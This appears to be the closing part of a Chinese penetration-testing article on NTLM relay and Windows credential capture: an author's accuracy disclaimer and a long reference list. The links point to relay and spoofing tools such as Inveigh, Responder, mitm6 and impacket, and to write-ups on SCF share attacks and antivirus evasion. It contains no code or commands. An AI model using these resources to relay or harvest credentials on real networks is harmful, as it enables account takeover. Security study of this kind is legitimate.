    笔者在实验书写过程中,可能会有笔误或者脑子抽写错的概念点。希望你能够带着自己的思考来判断我是否写的正确!实验出真知!

笔者笔记参考链接:

https://xz.aliyun.com/t/1943#toc-3
https://xz.aliyun.com/u/1724
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
https://xz.aliyun.com/t/1977
https://xz.aliyun.com/t/2205#toc-3
https://xz.aliyun.com/t/1945#toc-3
https://www.secpulse.com/archives/73454.html
https://xz.aliyun.com/t/1943
https://github.com/Kevin-Robertson/Inveigh
https://www.anquanke.com/post/id/83671
https://www.freebuf.com/articles/network/244375.html
https://xz.aliyun.com/t/2445#toc-0
https://www.freebuf.com/articles/system/183700.html
https://www.freebuf.com/sectool/254227.html
https://www.freebuf.com/articles/network/202842.html
https://www.freebuf.com/author/Alpha_h4ck?type=article
https://www.cnblogs.com/zpchcbd/p/12199386.html
https://www.freebuf.com/articles/network/165392.html
https://www.freebuf.com/sectool/160884.html
https://github.com/SecureAuthCorp/impacket
https://github.com/fox-it/mitm6
https://github.com/Kevin-Robertson/Inveigh
https://github.com/trustedsec/hate_crack
https://github.com/search?q=WinDivert.dll&type=commits
https://xz.aliyun.com/t/1945#toc-4
https://xz.aliyun.com/t/1977#toc-8
https://github.com/Kevin-Robertson/InveighZero
https://github.com/Kevin-Robertson/Invoke-TheHash
https://github.com/Kevin-Robertson
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Kevin-Robertson/Inveigh/issues/12
https://github.com/Kevin-Robertson/InveighZero/issues
https://github.com/Kevin-Robertson/InveighZero
https://github.com/Kevin-Robertson/Inveigh
https://github.com/deximy/RawProxy/tree/86a460a8f90c5997a64cd80d843393728094582e
https://github.com/search?q=Responder.exe&type=commits
https://github.com/HamzaKHIATE/
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/    
https://www.doyler.net/security-not-included/capturing-credentials-over-http-internet-explorer
https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
https://diablohorn.com/2018/02/27/presentation-understanding-avoiding-av-detection/
https://www.cnblogs.com/zpchcbd/p/12199386.html
https://blog.csdn.net/nzjdsds/article/details/94314995
https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA
https://www.anquanke.com/post/id/194069#h2-4
https://www.jianshu.com/p/1b545a8b8b1e
https://www.freebuf.com/articles/network/243530.html
https://blog.csdn.net/qq_38154820/article/details/106329725
https://www.freebuf.com/articles/network/244375.html
https://www.jianshu.com/p/c7d8e7d9c03c
https://www.freebuf.com/articles/network/250827.html
https://www.freebuf.com/articles/network/251364.html
https://blog.csdn.net/whatday/article/details/107698144
https://xz.aliyun.com/t/2205#toc-4
https://www.anquanke.com/post/id/200649#h2-2
https://www.anquanke.com/post/id/194069#h2-0
https://www.cnblogs.com/zpchcbd/p/12199386.html
https://www.freebuf.com/articles/web/205787.html
https://www.freebuf.com/vuls/201094.html
https://www.freebuf.com/articles/network/202842.html
https://2018.zeronights.ru/wp-content/uploads/materials/08-Ntlm-Relay-Reloaded-Attack-methods-you-do-not-know.pdf

文章来源: http://xz.aliyun.com/t/8562
如有侵权请联系:admin#unsafe.sh